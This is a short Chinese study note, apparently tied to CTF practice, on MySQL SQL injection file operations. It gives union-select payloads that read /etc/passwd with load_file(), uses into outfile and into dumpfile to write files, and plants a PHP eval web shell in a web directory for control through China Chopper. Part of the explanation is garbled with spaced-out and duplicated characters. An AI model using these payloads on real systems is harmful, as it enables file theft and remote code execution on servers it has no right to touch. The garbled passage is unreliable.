数据库笔记2

load_file()函数 读文件操作
前提:
知道文件绝对路径
能够使用union查询
对web目录有写权限
union select 1,load_file(’/etc/passwd’),3,4,5,6#
union select 1,load_file(如果引号被过滤可以用16进制),3,4,5,6#

into outfile()写文件操作
前提:
文件名必须全路径(绝对路径)
用户必须有写文件的权限
没有对’引号过滤
select ‘<?php phpinfo?>’ into outfile ‘绝对路径’
select ‘12345’ into outfile ‘d:/2.txt’

into dumpfile()写文件操作 支持二进制读写
select ‘12345’ into dumpfile ‘d:/3.txt’

select ‘<?php eval($_POST[1]);?>’ into outfile ‘d:/phpstudy/www/1.php’
在目录d:/phpstudy/www/下新建一个1.php文件内容是<?php eval($_POST[1]);?>

写入一句话木马
P O S T [ 1 ] 接 收 p o s t 传 来 的 1 的 参 数 e v a l ( ) 函 数 把 当 前 字 符 串 内 容 当 成 p h p 代 码 来 执 行 通 过 P O S T 方 式 在 网 页 中 把 自 己 写 的 代 码 赋 值 给 1 , 然 后 _POST[1] 接收post传来的1的参数 eval()函数 把当前字符串内容当成php代码来执行 通过POST方式在网页中把自己写的代码赋值给1,然后 P​OST[1]接收post传来的1的参数eval()函数把当前字符串内容当成php代码来执行通过POST方式在网页中把自己写的代码赋值给1,然后_POST函数接收1的值,再通过eval函数就执行自己传送的代码了

通过中国菜刀连接

上一篇:C++进行TXT坐标文件读写


下一篇:CTFshow 175 into outfile ‘/var/www/html/1.txt‘